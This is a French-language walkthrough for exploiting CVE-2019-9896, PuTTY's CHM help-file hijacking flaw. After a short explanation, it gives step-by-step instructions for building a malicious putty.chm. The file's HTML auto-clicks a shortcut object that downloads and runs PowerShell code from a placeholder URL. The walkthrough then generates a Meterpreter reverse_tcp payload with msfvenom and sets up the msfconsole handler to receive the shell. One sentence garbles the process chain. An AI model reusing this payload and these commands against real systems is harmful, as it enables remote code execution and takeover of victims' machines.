
Exécution de code potentiellement malveillante via CHM hijacking (CVE-2019-9896)
Exécution potentielle de code malveillant via le détournement de CHM
Jusqu'à la version 0.70 incluse, lorsque vous lanciez l'aide en ligne dans l'un des outils GUI Windows de PuTTY, l'outil localisait son fichier d'aide en regardant à côté de son propre exécutable.
Si vous exécutiez PuTTY depuis un répertoire dans lequel du code non apparenté pouvait déposer des fichiers (par exemple, en l'exécutant directement depuis le répertoire de téléchargement par défaut d'un navigateur), cela signifie que si quelqu'un parvenait à placer un fichier nommé putty.chm dans ce répertoire (par exemple, en vous incitant à cliquer sur un lien de téléchargement portant ce nom), PuTTY penserait qu'il s'agit du vrai fichier d'aide et le transmettrait à htmlhelp.exe.
Ceci est une vulnérabilité car les fichiers d'aide HTML (.chm) peuvent à leur tour exécuter du code de leur choix, par exemple en intégrant un élément HTML qui est un raccourci Windows, accompagné de JavaScript pour cliquer dessus.
Plus de détails : https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM est une extension du format de fichier HTML compilé, le plus souvent utilisé par le programme d'aide HTML de Microsoft. Il peut contenir de nombreux documents HTML compressés ainsi que les images et le JavaScript auxquels ils renvoient. Les fonctionnalités CHM incluent une table des matières, un index et une recherche en texte intégral.
Par le passé, des acteurs malveillants ont utilisé des fichiers CHM pour déposer un fichier backdoor, couramment utilisé dans les attaques ciblées.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
Nous avons besoin de la boîte à outils HTML Help Workshop pour créer un fichier CHM. Après installation, lancez l'outil HTML Help Workshop.
Cliquez sur File > New > Project et suivez les étapes ci-dessus :
Création d'un projet d'aide HTML
Écran New Project > Next > Browse
Spécifiez le nom de votre fichier projet et où vous souhaitez qu'il soit créé.
Remplissez File name : putty et cliquez sur "Open"
Spécifiez votre projet d'aide HTML
Sélectionnez les fichiers HTML (.htm)
Spécifiez où se trouvent vos fichiers .htm.
Bouton Add.. et sélectionnez un répertoire déjà créé pour l'exploit afin d'y placer votre fichier malveillant, par exemple putty.htm
Sélectionnez un fichier HTM
L'assistant crée un nouveau projet d'aide HTML. Nous devons apporter des modifications.
Dans l'outil, double-cliquez sur le htm créé pour l'éditer, puis insérez le code ci-dessous pour créer un fichier d'aide de base :
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
Créer un fichier malveillant
Comment créer une simple charge utile TCP Meterpreter pour Windows ?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
Lorsque vous double-cliquez sur le bouton Aide, un putty.exe est généré en tant qu'enfant de malware.exe, qui est l'interpréteur du fichier binaire CHM. (Votre fichier malveillant putty.chm et putty.exe doivent se trouver dans le même répertoire)
Génère un malware
Comment obtenir le shell meterpreter ?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
Ressources :